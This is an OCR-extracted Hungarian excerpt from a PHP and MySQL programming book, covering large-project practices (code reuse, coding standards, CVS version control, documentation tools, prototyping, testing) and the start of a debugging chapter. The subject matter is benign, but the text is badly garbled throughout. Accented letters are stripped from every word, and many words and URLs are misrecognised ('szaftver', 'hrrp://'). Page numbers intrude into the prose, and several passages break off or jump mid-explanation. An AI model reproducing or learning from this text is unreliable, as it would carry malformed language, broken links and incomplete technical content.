Hogyan tovbb?
A Gyakorlati PHP s MySQL projektek fejlesztse cm V. rszben viszonylag sszetett, a vals vilgban is hasznos projekteket
ptnk PHP s MySQL segtsgve!. Pldkat ltunk olyan feladatokra, amelyekkel vals fejlesztseink sorn tallkozhatunk,
illetve zelitt kapunk abbl, hogy sszetett projektek esetn hogyan dolgozzunk a PHP-vel s a MySQL-lel.
A PHP s a MySQL hasznlata nagyobb projektekben cm 25. fejezet olyan krdskrkkel foglalkozik, amelyek akkor me
rlnek fel, amikor nagyobb projektekhez runk PHP kdot. Megismerkednk az olyan szoftverfejlesztsi fogalmakkal, minr
a tervezs, a dokumentci s a vltozskezels.
--
24
v
Gyakorlati PHP s MySQL
projektek fejlesztse
25
26
Hibakeress
27
28
29
30
31
32
33
34
25
A PHP s a MySQL hasznlata
nagyobb projektekben
A knyv korbbi fejezereiben a PHP s a MySQL szmos alkotelemt, illetve azok hasznlatt mutattuk be. Ugyan prbl
tunk ehhez izgalmas s relevns pldkat keresni, ezek jellemzen egyszer, legfeljebb egy vagy kt szkriptbl s legfeljebb szz
sorbl ll kdok voltak.
Amikor valdi webes alkalmazst ksztnk, a kdirs ritkn ennyire egyszer. Nhny vvel ezeltt egy "interaktv" webol
dal legfeljebb egy zenerkld rlapbl llt. Napjainkra azonban a honlapok webes alkalmazss - vagyis az interneten keresz
tl hasznlt szoftverr - nttk ki magukat. A funkcibeli vltozs mretbeli vltozst eredmnyezett. A weboldalak az gyes
kis kdokbl tbb ezer soros programokk nttek. Az ilyen mret projektek a brmely ms szaftverfejlesztshez is szksges
tervezst s irnytst ignylik.
Mieltt a knyv elttnk ll rszben szerepl projektekkel foglalkoznnk, vizsgljunk meg nhny olyan mdszert,
ami a nagymret webes projektek menedzselsre is alkalmas! Mivel folyamatosan fejld terletrl beszlnk, nyilvnva
lan nehz dolog rla rk igazsgokar rni. Ha aktulis informcira van szksgnk a tmban, rdemes krlnznnk
a webfejleszts piacn is.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre
Webes alkalmazs projekljnek tervezse s megvalstsa
Kd tbbszri felhasznlsa
Kezelhet kd rsa
Verzikvets megvalstsa
A fejlesztkrnyezet kivlasztsa
A projekt dokumentlsa
Prototpuskszts
A mkds, a tartalom s a megjelents sztvlasztsa: PHP, HTML s CSS
Kdoptimalizls
370
25. fezer
Ha elmulasztjuk megtervezni webes projektjeinker, ugyanazokba a problmkba futunk bele, minrha szaftveres projektnl
kvetnnk el ezt a hibt. Az eredmny rosszu vagy hibsan mkd alkalmazs, be nem tartott hatridk s rtekinrheteden
kd lesz.
A trkk teht az, hogy beazonostjuk a szaftverfejleszts azon elemeir, amelyek a webes alkalmazsok fejlesztsnek j vil
gban is mkdnek, a tbbit pedig egyszeren hagyjuk figyelmen kvl!
Kd tbbszri felhasznlsa
A programozk igen gyakran eikvetik azt a hibt, hogy mr meglv kdot jra megirnak. Miurn risztban vagyunk vele,
hogy az alkalmazshoz milyen alkotelemekre vagy fggvnyekre van szksgnk, ellenrizzk a fejleszts megkezdse eltt,
hogy azok rendelkezsre llnak-e!
25
A PHP minr programnyelv egyik erssge a bepterr fggvnyknyvrra. Mindig nzzk meg, hogy egy meglv fggvny
nem pont azt teszi-e, amire neknk szksgnk van! ltalban nem tl nehz dolog megtallni a kvnt fggvnyt. Clszer
lehet ennek rdekben fggvnycsoportonknt bngszni az online kziknyvet.
Elfordul, hogy a programozk vletlenl jra megirnak fggvnyeket, merr nem nztek urna a kziknyvben, hogy lre
zik-e az ltaluk ignyelt funkcit berlt fggvny. Tegyk a kziknyv weboldalr kedvenceink kz! Ne felejtsk el azt sem,
hogy az online kziknyver elg gyakran friss tik! A jegyzetekkel elltott online kziknyv bsges informciforrs, merr
ms felhasznlk megjegyzseit, javaslatait s minrakdjait tartalmazva gyakran pontosan azokat a krdseket vlaszolja meg,
amelyek a sima kziknyv olvassa kzben felmerlnek bennnk. Gyakran mr az eltt tartalmaz hibajelentseket s azokar
orvosl megoldsokat, mielrr a hibt kijavtank vagy egyltaln dokumentlnk. A kziknyv angol nyelv vltozata a http:/ l
www.php.net/manual/ en/ cmen rhet el.
A ms programnyelvekbl rkez fejlesztk nha kisrtsbe esnek, hogy olyan"csomagol fggvnyeket" (wrapper function)
rjanak, amelyek tulajdonkppen rnevezik a PHP fggvnyeit az ltaluk ismerr programnyelvben hasznlt fggvnyekre. Az
ilyen programozsi mdszert angolulsyntactic sugar-nek, vagyis szinraktikai cukornak szoks nevezni. (A kifejezs tnyleges
jelentse krlbell" programnyelvi knyeztets" lehet.) Nem rdemes ilyet tenni; msok szmra nehezebben olvashatv s
kezelhetv teszi kdunkat. Ha j programozsi nyelvet kvnunk elsajttani, tanuljuk meg azt helyesen hasznlni! Radsul
ilyen szint fggvnyhvsokkal lelassthatjuk kdunkar. Mindent egybevve kerljk az ilyen programozsi megkzeltst!
371
Ha azt lg uk, hogy az ltalunk ignyelt funkci nem rhet el a f PHP knyvtrban, kt lehetsg kzl vlasztharunk.
Ha viszonylag egyszer dologra van szksgnk, rdemes lehet megrni sajt fuggvnynket vagy objektumunkat. Ha azonban
igencsak sszetetten mkdik az a valami, amire szksgnk van - legyen az pldul vsrli kosr, webes levelezrendszer
vagy frum-, knnyen lehet, hogy tallunk valakit, aki egyszer mr ltrehozta azt. A nylt forrskd kzssgben vgzett
munka egyik nagy erssge, hogy az ehhez hasonl komponensek gyakran szabadon (s ingyenesen) elrhetk. Ha tallunk
az ltalunk ignyelthez hasonl komponenst, segtsgkppen mg akkor is megnzhetjk a forrskdjt, ha a komponens nem
teljesen ugyanaz, mint ami neknk kell. Az gy tallt forrskdot kiindulpontknt felhasznlva s mdostva knnyebben hoz
hatjuk ltre a sajt ignyeinkre alakitott kdunkat.
Ha a vgn az derl ki, hogy sajt fuggvnyeket vagy komponenseket kell rnunk, mrlegeljk annak eshetsgt, hogy mun
knk vgeztvel megosztjuk ket a PHP kzssgvel! Ugyanis ez az a hozzlls, aminek ksznheten ilyen segtksz, aktv
s felkszlt kzssget alkothatnak a PHP-fejlesztk.
Kezelhet kd rsa
Webes alkalmazsok esetn gyakran megfeledkeznek a kezelhetsg krdsrl, elssorban azrt, mert a programozk gyakran
sietve hozzk ltre az ilyen alkalmazsokat. Egybl hozzfogni a kdrshoz s gyorsan befejezni- bizony sokszor ez fontosab
bak tnik, mint elszr megtervezni azt. Pedig az elkszletekre sznt kevske id a ksbbiekben, amikor majd az alkalma
zs kvetkez vltozatt kszlnk fejleszteni, rengeteg felesleges munkartl kmlhet meg bennnket.
Programozsi szablyok
Az informacikval foglalkoz komolyabb szervezetek tbbsge sajt programozsi szablyokkal rendelkezik- vagyis olyan
irnyelvekkel, amelyek a fjlok s vltozk elnevezsr, a kd megjegyzsekkel elltst, tagolst stb. szablyozzk.
A webes fejlesztsre oly gyakran alkalmazott dokumenturnkzponr megkzelts miatt elfordul ezen szablyok figyelmen
kvl hagysa. Ha egyedl vagy nhny fbl ll kis csapatban programozunk, knnyen albecslhetjk a kdrsi szablyok
fontossgt. Ez azrt nem helyes, mert csaparunk s a projekt is knnyedn kinheti magt. Ekkor nem csak mi magunk zava
rodharunk ssze, hanem ott lesz mg egy csom msik programoz, aki sikertelenl fogja bogarszni meglv kdjainkat.
25
372
25. fejezet
Sfelhasznaloinev
Sfelhasznaloi nev
SfelhasznaloiNev
Vgeredmnyben teljesen mindegy,hogy melyik szisztmt vlasztjuk,de trekednnk kell annak kvetkezetes hasznlat
ra. rdemes tovbb a vltoznevekben hasznlt szavak szmt kettre, legfeljebb hromra korltozni.
A fggvnynevek kivlasztsakor is nagyrszt a fentiekre, illetve nhny tovbbi dologra kell figyelemmel lennnk. A fgg
vnyneveknek ltalban utalniuk kell a fggvny funkcijra. Gondoljunk az olyan beptett PHP fggvnyekre, mint az
addslashes (} vagy a mysqli_connect (}, amelyeknek a neve utal arra, hogy mit fognak a nekik radott paramterekkel
tenni! Az ilyen elnevezsi rendszer jelentsen segti kdunk olvashatsgt. Lthatjuk, hogy a pldaknt emltett kt fggvny
a tbb szbl ll fggvnyneveket illeten eltr elnevezsi szablyokat kvet. A PHP fggvnyei e tekintetben nem kvetke
zetesek, rszben azrt, mert sok klnbz ember rta ket,de legfkppen azrt,mert sok fggvnynevet vltozatlanul vettek
t ms programozsi nyelvekbl s alkalmazs-programozsi interfszekbl (API).
Ne feledkezznk meg arrl sem, hogy fggvnynevek esetn a PHP nem tesz klnbsget a kis- s nagybetk kztt! Az
sszezavaradst elkerlend mindenesette rdemes az ltalunk kivlasztott formt kvetni.
rdemes lehet tvenni a szmos PHP modulban hasznlt medul-elnevezsi smt - vagyis azt, hogy a fggvnynevek el
eltagknt a modul nevt rjuk. Pldul a tovbbfejlesztett (improved) MySQL fggvnyek mindegyike a mysqli_ eltaggaL
minden IMAP fggvny pedig az imap_ eltaggal kezddik. Ha van a kdunkban pldul egy kosrmodul, az ebben a medul
ban lv fggvnyekhez adjuk a kosar_ (vagy,ha angol krnyezetben fejlesztnk, a eart_) eltagod
Jegyezzk meg, hogy amikor a PHP5 procedurlis s objektumorientlt interfszt is biztost,a fggvnynevek elerk
lesznek! A procedurlisok alulvonsokat hasznlnak (sajat_fuggveny (}),az objektumorientltak pedig gynevezett
Vgeredmnyben majdnem teljesen mindegy,hogy milyen szoksokat s szablyokat kvetnk a programozs sorn, a l
nyeg,hogy kvetkezetesen alkalmazzuk azokat.
25
Ennek a mdszernek az a hatalmas elnye,hogy az adott rszek fggvnyekkel vagy brmilyen ms utastsokkal val feltltse utn mr megfelel megjegyzsekkel elltott kdot kapunk.
sszetett kd vagy trkk- Amikor egy konkrt feladatot akr egy teljes napig programozunk, vagy nagyon nyakate
kerr mdon tudunk csak megoldani, megjegyzsben rjuk oda,mirr az adott megkzeltst vlasztottuk! gy amikor
legkzelebb megnzzk ezt a kdot, nem fogjuk rtetlenl vakargatni a fejnket, s nem kell magunktl azt krdezni:
..Vajon mi az rdgt akar ez jelenteni?"
s mg egy megfontolsra rdemes j tancs: megjegyzseinket menet kzben rjuk oda! Gondolhatnnk, hogy majd a pro
jekt befejezsekor visszatrnk, s hozzadjuk a megjegyzseket. Fogadni mernnk, hogy ez nem gy lesz,kivve, ha soha nem
kzdnk idhinnyal, s a knyv szerzinl nagyobb nfegyelemmel rendelkeznk.
373
Tagols
Mint brmely programozsi nyelv esetn, itt is rdemes kdunkat rtelmes s kvetkezetes mdon tagolni. A kd rsa letrajz
vagy zleti levl sszelltshoz hasonl. A tagols knnyebben olvashatv s gyorsabban rtelmezhetv teszi kdunkat.
lcalnos szablyknt elmondhat, hogy a vezrlsi szerkezeteken belli brmely programblokkor behzssal kell elk
lnteni az azt krlvev kdtL A behzsnak szrevehetnek (vagyis egy szkznl nagyobbnak) kell lennie, ugyanakkor
tlzsba sem szabad vinni a mrtkt. Vlemnynk szerm a tabultotok hasznlatt rdemes elkerlni. Br egy mozdulattal,
azaz egyeden billenty letsvel elllrhack, a legebb monitoron tl sok helyet foglalnak el. Projektjeinkben jellemzen kr
hrom szkznyi behzssal tagoljuk a kdot.
A kapcsos zrjelek hasznlata is krdses lehet. A kt leggyakoribb sma a kvetkez:
l. sma:
if
(felttel)
ll valamilyen mvelet
l
2. sma:
if
(felttel l
{
ll valamilyen ms mvelet
Tlnk fgg, hogy melyiket vlasztjuk. Itt is fontos azonban, hogy az sszezavarodst elkerlend a teljes projektben kvet
kezetesen hasznljuk.
25
374
25. fejezet
Verzikvets megvalstsa
25
A verzikvels (version control) a sz;oftverfejlesz;tsben alkalmazott egyidej vltozsok kezelsnek mvsz;ete. A verzikve
t rendszerek ltalnossgban kzponti trolknt (repository) mkdnek, s kontrolllt felletet nyjtanak kdunk elrsre
s megosztsra (s jobb esetben a dokumentlsra).
Kpzeljnk el egy olyan helyzetet, amikor javtani szecetnnk kdunkon, de vletlenl elronrunk valamit, s akrhogyan
prbljuk, nem tudjuk visszallitani az; eredeti vltozatot! Vagy akr mi magunk, akr az; gyfl gy dnt, hogy az; oldal egy
korbbi verzija jobb volt. Esetleg jogi okokbl vissza kell llnunk egy korbbi verz;ira.
Kpzeljnk el msik helyzetet, azt, amikor a programoz csapat kt tagja ugyanazon a fjlon szereme dolgozni! Elfordul
hat, hogy mindketten megnyitjk s egyszerre sz;erkesz;tik a fjlt, fellrva egyms vltoztatsait. Mindkettjk lemsolhaga
a fjlt, s a helyi verz;in dolgozva egymsrl eltr vltoztatsokat hozhatnak ltre rajta. Ha valaha is belegondolrunk mr
abba, hogy milyen nem kvnt dolgok szrmazhatnak ebbl, akkor az; elbb emltett kt programoz kzl az; egyik minden
bizonnyal ttlenl l s vrja, hogy a msik befejezze a fjl sz;erkesz;tst.
Az; ilyen problmkat verzikvet rendszerrel orvosolhaguk. Ezek a rendszerek nyomon tudnak kvetni a kz;s trolban
lv llomnyokon vgrehajtott minden vltoztatst, gy nem csak azok aktulis llapott lthaguk, hanem azt is, hogy hogyan
nztek ki egy mltbeli idpontban. Ez a funkci lehetv teszi, hogy az; elrontott kdot visszallitsuk a tudottan mkd ver
zijra. Adott fjlpldnyokat elltharunk mkd verzi (release version) cmkvel, ami azt eredmnyezi, hogy folytathatjuk
a kd fejlesztst, de brmikor hozzfrhetnk a jelenleg mkd verzi msolathoz;.
A verzikvet rendszerek abban is segtenek, hogy egyszerre tbb programoz dolgozhasson egytt a kdon. Brmely
programoz foghatja a kz;s trolban lv kd egy msolatt (ez; lesz; a sajt munkapldnya), s amikor vltoztatsokat hajt
vgre rajta, azokat tvezetheti a trolban lv vltozatba (vagyis kz;z;teheti a vltoztatsait). A verzikvet rendszerekkel
gy nyomon kvethet, hogy ki hajtotta vgre a rendszeren az; egyes vltoztatsokat.
Ezek a rendszerek ltalban az; egyidej vltoztatsok kezelsre is kpesek. Ez azt jelenti, hogy ugyanazt a fjlt egyszerre
egynl tbb programoz is mdosthatja. Kpzeljk el pldul azt, hogy Jnos s va is ltrehozta projekgk legutols vltoza
tnak egy munkapldnyt! Jnos befejezi az; adott fjl mdostst, majd kzz;resz;i a vltoztatsait. va is mdosga ugyanazt
az; llomnyt, s is megprblja kz;z;tenni a vltoztatsokat. Ha a mdostsok nem a fjl ugyanazon rszben trtntek,
akkor a verzikvet rendszer egyesti a fjl kt vltozatt. Ha a mdostsok tkznek egymssal, akkor a rendszer rtesti
vt, s megmutatja neki a kt klnbz verzit. Ekkor lehetsget kap, hogy az; tkzsek elkerlse rdekben mdostsa
sajt vltozatt.
A Unix- s/vagy nylt forrskd fejleszrk tbbsge a Concurrent Versions System (CVS) nev verzikvet rendszerrel
dolgozik. A nylt forrskd CVS gyakorlacilag a Unix minden verzijn automatikusan elrhet, s DOS-os vagy Windows
opercis rendszert futtat P C-khez; s Macintosh gpekhez; is beszerezhet. Tmogatja a kliens/sz;erver modellr, gy min
den interneckapcsolattal rendelkez gprl hasznlhat, amennyiben a CVS kiszolgl elrhet az; interneten. Rszben ezrt
a PHP, az; Apache s a Mozilla fejlesztse sorn is ezt a rendszert hasz;nltk.
Szmrgpnkre a CVS honlapjrl (hrtp://ximbiot.com/cvs/wiki/) tudjuk letlteni.
Ugyan az; alap CVS rendszer parancssori eszkz, klnbz bvtmnyekkel vonzbb, egyebek kzte Java-alap s
windowsos kezelfelletet adharunk neki. Ezeket a bvtmnyeket is a CVS weboldalrl sz;erezhegk be.
A Bitkeeper a CVS-szel rivlis verzikvet rendszer, amit pldul olyan nylt forrskd projektekhez hasznlnak, mint
a MySQL s a Linux kernel. Nylt forrskd projektekhez ingyenesen beszerezhet a http://www.bitkeeper.com/ oldalrl.
Termszetesen fizets verzikvet rendszerek is lteznek. Egyik ilyen a perforce, amely a leggyakoribb plattormok tbbs
gn fut, s PHP -tmogatssal br. Noha fizets, a nylt forrskd projekthez ingyenes licencek sz;erezhetk be a htcp://www.
perforce.com/ oldalrl.
375
A fejlesztkrnyezet kivlasztsa
A verzikvers utn annl ltalnosabb tmakr kvetkezik: a fejlesztkrnyezet krdse. A fejlesztshez tulajdonkppen
elegend lenne egy szvegszerkeszt s - a tesztelshez- egy bngsz, de a programozk ltalban hatkonyabban tudnak
dolgozni az integrlt fejlesztkrnyezetekben (Integrated Development Environment- IDE).
Szmos ingyenes projekt ltezik dediklt PHP IDE ltrehozsra, kztk a KPHPDevelop, amely a Linux alatti KDE asz
rali krnyezethez val, s a http://kphpdev.sourceforge.net/ oldalrl tlthet le.
A dolgok jelenlegi llsa szerint azonban a legjobb PHP fejlesztkrnyezetek fizetsek. A zend.com Zend Studija, az
activestate.com Komodja s a nusphere.com PHPEd-je mind funkcikban gazdag, hatkonyan hasznlhat fejlesztkrnye
zet. Mindegyik ingyenesen kiprblhat, m tarts hasznlatuk fizets. A Kornodhoz olcs, nem zleti clra hasznlhat
licenc is beszerezhet.
Projektjeink dokumentlsa
Programozsi projektjeinkhez szmtalan klnfle dokumentcit kszthetnk. A reljessg ignye nlkl emltsnk meg ezek
kzl nhnyat:
Tervdokumentci
Mszaki dokumentci/fejleszti tmutat
Adatsztr (belertve az osztlydokumentcit)
Felhasznli tmutat (noha a webes alkalmazsok tbbsgnek magtl rtetdnek kell lennie)
Ennek a rsznek nem az a clja, hogy megtanuljunk mszaki dokumentcit rni, hanem elmondjuk, hogy sokkal knnyeb
b tehetjk letnket, ha rszben automatizljuk ennek folyamatt.
Egyes nyelvek lehetv teszik a fent emltett dokumentumok egy rsznek - elssorban a mszaki dokumentcinak s az
adatsztraknak- az automatikus ellltst. A javadoc pldul fastruktrba rendezett HTML fjlokat hoz ltre, amelyek
osztlytagok prototpusait s lersait tartalmazzk a Java-programokhoz.
J egynhny ilyen tpus segdalkalmazs rhet el a PHP-hez, pldul:
phpdoc (a http://www.phpdoc.de/ oldalrl tlthet le)
A PEAR ezt a rendszert hasznlja a kd dokumentlsra. rdemes megjegyezni, hogy a phpDoc kifejezs szmos ilyen
tpus projekere utal, amelyek kzl ez az egyik.
PHPDocumentor (a http://phpdocu.sourceforge.net oldalrl szerezhet be)
A PHPDocumentor a javadochoz hasonl vgeredmnyt ad, s viszonylag robusztusan mkdik. Az itt megemltett kt
msik ilyen alkalmazsnl aktvabb fejleszti csapattal bszklkedhet.
phpautodoc (a http://sourceforge.net/projects/phpautodoc/ oldalon rhet el)
A phpautodoc is a javadochoz hasonl vgeredmnyt ad.
Ilyen tpus tovbbi alkalmazsokat (s ltalnossgban a PHP komponenseket) a SourceForge weboldaln rdemes keres
ni: http://sourceforge.net. A SourceForge elsdleges haszonlvezje a Unix/Linux-kzssg, de sok projekt ms platformok
hoz is elrhet.
Prototpuskszts
A prototpuskszls (prototyping) a fejlesztsi ciklus webes alkalmazsok esetn gyakran hasznlt rsze. A prototpus kivlan
alkalmas az gyfl elvrsainak meghatrozsra. Jellemzen a fejlesztend alkalmazs egyszerstett, rszben mkd verzi
ja, amely az gyfllel folytatott trgyalsokon, illetve a vgleges rendszer alapjaknt hasznlhat. A vgleges alkalmazs gyakran
a prototpus tbbszri mdostsval ll el.
Az ilyen megkzelts elnye, hogy az gyfllel vagy vgfelhasznlkkal szoros egyttmkdsben dolgozva olyan rendszert
llchatunk el, amellyel elgedettek lesznek, s legalbb valamilyen mrtkben maguknak rzik azt.
Egy prototpus gyors "sszedobshoz" bizonyos kszsgek s eszkzk szksgesek. A komponens alap megkzelts jl
rud mkdni az ilyen helyzetekben. Ha rendelkezsnkre llnak klnfle, meglv komponensek, akr hzon belliek, akr
nyilvnosan elrhetk, sokkal gyorsabban vgezhetnk. A prototpusok gyors elksztsnek msik hasznos eszkzei a sablo
nok. A kvetkez rszben ezeket az eszkzket tekintjk t.
Prototpuskszts esetn kt f problmba futhatunk bele. Annak rdekben, hogy elkerlhessk ezeket, s a lehet legrel
jesebb mrtkben ki tudjuk hasznlni a prototpusok elnyeit, ismerni kell ezt a kt problmt.
Ezek kzl az els, hogy a programozk valamilyen okbl nehezen szabadulnak meg az lcaluk mt megirt kdtL A protot
pusokat gyakran gyorsan dobjk ssze, s utlag mr knnyen megllapthat, ha nem optimlis vagy nem kzel optimlis mdon
kszltek el. A hibs kdrszeket ugyan ki lehet javtani, de ha a reljes struktra rossz, akkor bizony b:yba kerltnk. A problma
25
376
25. fejezet
abbl ered, hogy a webes alkalmazsok igen gyakran az id szarrsban kszlnek, s egyszeren nincs id a teljes korriglsra.
Ekkor knytelenek vagyunk egy gyengn megtervezert rendszerrel berni, amit radsul igen nehz lehet mkdtetni.
Az ilyen problmt- ahogy azt mr emltertk - nmi tervezssei megelzhetjk. Ne felecljk, hogy egyes helyzetekben
jobb egy huszrvgssal mindent eldobni s az egszet ellrl kezdeni, mint megprblni kijavtani a hibt! Br gy tnhet,
hogy az jrakezdshez egyszeren nincs id, sokszor rengeteg ksbbi kellemetlensgrl kmlhet meg bennnket.
A prototpuskszrs msodik problmja, hogy a fejlesztend rendszer knnyen rk prototpusknt vgezheti. M inden
egyes alkalommal, amikor mr azt gondoljuk, hogy elkszlrnk, az gyfl tovbbi javtsokat vagy jabb funkcikat, mdos
rsokat krhet a weboldalon. Ha ez bekvetkezik, knnyen rezhetjk gy, hogy ezzel a projekttel sosem fogunk vgezni.
Ezt elkerlend ksztsnk olyan projekttervet, amely meghatrozza a prototpusok konkrt szmt s egy olyan dtumot,
amely utn jabb funkcikat csak a kltsgvets s a hatridk mdosrsval lehet bevenni.
Kdoptimalizls
25
Amennyiben nem webes programozsi httrrel rendelkeznk, az optimalizls igen fontos lehet szmunkra. PHP esetn
a felhasznlk legfkppen a kapcsoldsi s a letltsi id miatt vrakozharnak webes alkalmazs hasznlata kzben. Ezekre
a tnyezkre ltalban csak minimlis hatssal lehet kdunk optimalizlsa.
377
Kerljk a statikus tartalom PHP-bl val ellltst! Ha minden, ltalunk ellltott HTML echo vagy print ()
utastsbl szrmazik, az oldal ellltsa jelentsen tovbb tarthat. (Ez az egyik rv a mkds s a tartalom korbban
bemutatott sztvlasztsra.) Ez a tancs a kpgombok dinamikus ellltsra is rvnyes: a PHP-t csak arra hasznl
juk, hogy egyszer ellltsuk a gombokat, majd szksg esetn jra felhasznlhatjuk azokat. Ha egy oldal minden egyes
betltsekor fggvnyekbl vagy sablonokbl lltjuk el a pusztn statikus oldalakat, gondolkodjunk el azon, hogy csak
egyszer futtatjuk a fggvnyeket! Vagy hasznljuk a sablonokat, majd elmentjk ennek eredmnyt.
Ahol csak lehetsges, sztringkezel fggvnyeket vegynk ignybe a regulris kifejezsek helyett, mert az elbbiek gyor
sabbak.
Tesztels
A kd mzse s tesztelse a szaftverfejleszts egy msik olyan sarkalatos pontja, amellyel webes fejleszts esetn gyakran
hajlamosak vagyunk nem foglalkozni. Knny a rendszer kt vagy hrom tesztesettel trtn futtatsa utn felllni s azt mon
dani: ,.igen, hibtlanul mkdik:' Gyakran eikvetik ezt a hibt. Mieltt alkalmazsunkat lesben mkdtetjk, teremtsk meg
az alapos tesztels lehetsgt, s gondoljunk vgig szmos lehetsges forgatknyvet!
Kt megkzeltst ajnlunk a kdjainkban lv hibk cskkentsre. (A hibkat maradktalanul soha nem lehet kiszrni,
de tbbsgket igenis meg lehet szntetni.) Mindenek eltt nzessk t kdunkat msokkal! Ez azt jelenti, hogy egy msik
programoz vagy programozk egy csoportja tnzni kdunkat, s javaslatokat tesz. Az ilyen dpus elemzs az albbi eredm
nyeket hozhatja:
ltalunk szre nem vett hibk
Tesztesetek, amikre nem gondoltunk
Optimalizls
Fejleszrsek a biztonsg tern
A kd fejlesztsre alkalmas, ltez komponensek hasznlata
Tovbbi funkcik
Ha egyedl dolgozunk, akkor is rdemes lehet egy ,.programoztrsat" keresni, aki hozznk hasonl cipben jr, s akivel
tnzhetjk egyms kdjait.
Msodsorban azt. ajnljuk, keressnk olyan tesztelket webes alkalmazsainkhoz, akik a termk vgfelhasznli krbl
kerlnek ki (vagy ket kpviselik). A webes s az asztali alkalmazsok kztt az elsdleges kiilnbsg, hogy az elbbieket brki
hasznlhatja. Nem lhetnk pldul olyan felttelezsekkel, hogy a felhasznJk jrtasak lesznek a szmtgpek kezelsben.
Nem adhatunk nekik vaskos hasznlati kziknyvet vagy gyors referencia-tmutatt. Helyette arra kell trekedni, hogy webes
alkalmazsaink maguktl rtetden kezelhetk s az elterjedt alkalmazsokhoz hasonlan mkdk legyenek. Gondoljunk
bele, hogy milyen mdon kivnjk majd a felhasznJk ignybe venni alkalmazsunkari A hasznlhatsg mindenek felett ll.
Tapasztalt programozknt vagy internetezknt nem knny elkpzelni, milyen problmkkal tallkozhatnak a kezd
vgfelhasznlk. Ezen legegyszerbben gy segithetnk, ha a tipikus felhasznlra hasonlt tesztelket krnk fel.
rdemes lehet a webes alkalmazsainkat btaverziban megjelentetni. Amikor gy rezzk, hogy a hibk tbbsgt mr
kigyomlltuk, tesztfelhasznlk egy korltozott csoportja szmra tegyk elrhetv az alkalmazst! szrevteleikrt cserbe
knljunk fel ingyenes szolgltatsokat az els szz felhasznlnak! Biztosak lehetnk benne, hogy olyan adatokkal s olyan
mdon fogjk kiprblni az alkalmazst, amire nem is gondolhattunk.
Ha cges gyfl szmra fejlesztnk weboldalt, a cg alkalmazottait felkrve egyszeren juthatunk tesztelkhz. (Ez azzal
a
kzzelfoghat elnnyel is jr, hogy az gyfl jobban magnak rezheti az ltala tesztelt oldalt.)
25
378
25. fejezer
Tovbbi olvasnival
Rengeteg anyag foglalkozik ezzel a terlettel; a fejezetben lnyegben a szofrverfejleszts tudomnyval foglalkoztunk, amelyrl
szmtalan knyvet rtak.
A weboldalak dokumentumknt vagy alkalmazsknt rtelmezett megkzeltsei kztti klnbsget kivlarr mutatja be
Thomas A. Powell Web Site Engineering: Beyond Web Page Design cm kiadvnya, de a szofrverfejlesztssel foglalkoz brmely,
neknk tetsz knyvnek hasznr vehetjk.
A verzikversrl a CVS weboldaln (http:/ /ximbiot.com/ cvs/wiki/) tallunk tovbbi informcit.
A tma fontossgt tekintve kiss meglep mdon nem sok knyvet rtak a verzikvetsrl, de rdemes lehet elolvasni Karl
Franz Fogel Open Source Development with CVS vagy Gregor N. Purdy CVS Pocket Reference munkjt.
Ha PHP komponenseket, integrlt fejlesztkrnyezeteket vagy dokumentcis rendszereket keresnk, nyissuk meg
a SourceForge weboldalt: http://sourceforge.net!
A fejezetben trgyalt tmk jelents rszvel a Zend weboldaln tallhat cikkekben is foglalkoznak. Ha szeretnnk elm
lyedni ezekben, bngssznk az oldalon! Ha mr ott jrunk, rdemes lehet letlteni az optimalizlt is (hrrp://www.zend.com).
Ha rdekesnek talltuk ezt a fejezetet , ltogassuk meg az Extreme Programming weboldald Itt az olyan terlereken al
kalmazhat szofrverfejlesztsi mdszerekrl olvashatunk, ahol a kvetelmnyek- a webes fejleszrshez hasonlan- gyakran
vltoznak. Az Extreme Programming weboldala a http://www.extremeprogramming.org cmen rhet el.
Hogyan tovbb:
A Hibakeress cm 26. fejezetben ttekintjk a programozsi hibk klnbz tpusait, a PHP hibazeneteit, illetve a hibake
ress lehetsges mdszereit.
25
26
Hibakeress
Az elttnk ll fejezet PHP kdokon belli hibakeresssel foglalkozik. Ha vgigrgmk magunkat a knyv eddigi pldin,
vagy korbban is hasznltuk mr a PHP-r, akkor minden bizonnyal kezdenek mr kialakulni sajt hibakeressi mdszereink.
Ahogy projektjeink egyre sszetettebbek lesznek, gy vlik majd egyre nehezebb a hibakeress. Ugyan ilyen jelleg kpes
sgeink is fejldni fognak, a hibk azonban vlheten tbb fjlbl vagy tbb programoz ltal rt kdbl erednek majd, ami
igencsak megneheztheti dolgunkat.
A fejezerben az albbi fbb tmakrket fogjuk ttekinteni:
Programozsi, szintakrikai, futsidej s logikai hibk
Hibazenetek
Hibaszintek
Sajt hibk kivltsa
A hibakezels elegns mdja
Programozsi hibk
A programozsi hibknak programozsi nyelvtl fggetlenl hrom ltalnos tpusa ltezik:
Szintakrikai hibk
Futsidej hibk
Logikai hibk
Mieltt bemutatnnk a hibk szlelsre, kezelsre, elkerlsre s kijavtsra szolgl stratgikat, vizsgljuk meg egyen
knt ezeket a hibatpusokarl
Szintaktikai hibk
A nyelvek szintaktiknak nevezett szablyrendszerrel rendelkeznek, amit az utastsoknak be kell tartaniuk ahhoz, hogy r
telmesek s mkdkpesek legyenek. Ez a termszetes nyelvekre (pldul a magyarra) s a programozsi nyelvekre (pldul
a PHP-re) egyarnt rvnyes. Ha egy urasrs nem tartja be a nyelv szablyait, azt mondjuk, hogy szintaktikai hibja van. Ha r
telmezett (interpreted) nyelvrl, pldul a PHP-rl beszlnk, akkor a szintaktikai hibkat szoks rtelmezsi hibknak (parser
error) nevezni. Ha fordirorr (compiled) nyelvrl, pldul C-rl vagy Javrl, akkor pedigfordtsi hibknak (compiler error).
Ha megszegjk a magyar nyelv szinrakrikai szablyait, mg knnyen lehet, hogy az emberek megrrik, amit mondani szn
dkozunk. Programozsi nyelvek esetben azonban ez ltalban nem igaz. Ha egy kd nem kveti a PHP szintakrikjnak
szablyt - vagyis szintakrikai hibkar tartalmaz -, a PHP rtelmez annak egy rszr vagy egszt nem lesz kpes feldolgozni.
Az emberek jk abban, hogy rsz- vagy egymssal tkz adarokbl kiszrjk a kell informcit. A szmrgpekre sajnos ez
nem ll.
A PHP szintaktikja sok ms szably kzrt megkvereli azt, hogy az urasrsok pontosvesszvel zruljanak, a karakter
lncok idzjelek kz kerljenek, a fggvnyeknek radott paramtereker pedig vesszvel vlasszuk el egymstl, s zrjelek
kz tegyk. Ha megszegjk ezeker a szablyokat, PHP kdunk nagy valsznsggel nem fog mkdni, s hibazenetet gene
rl, amikor elszr megprbljuk futtarni.
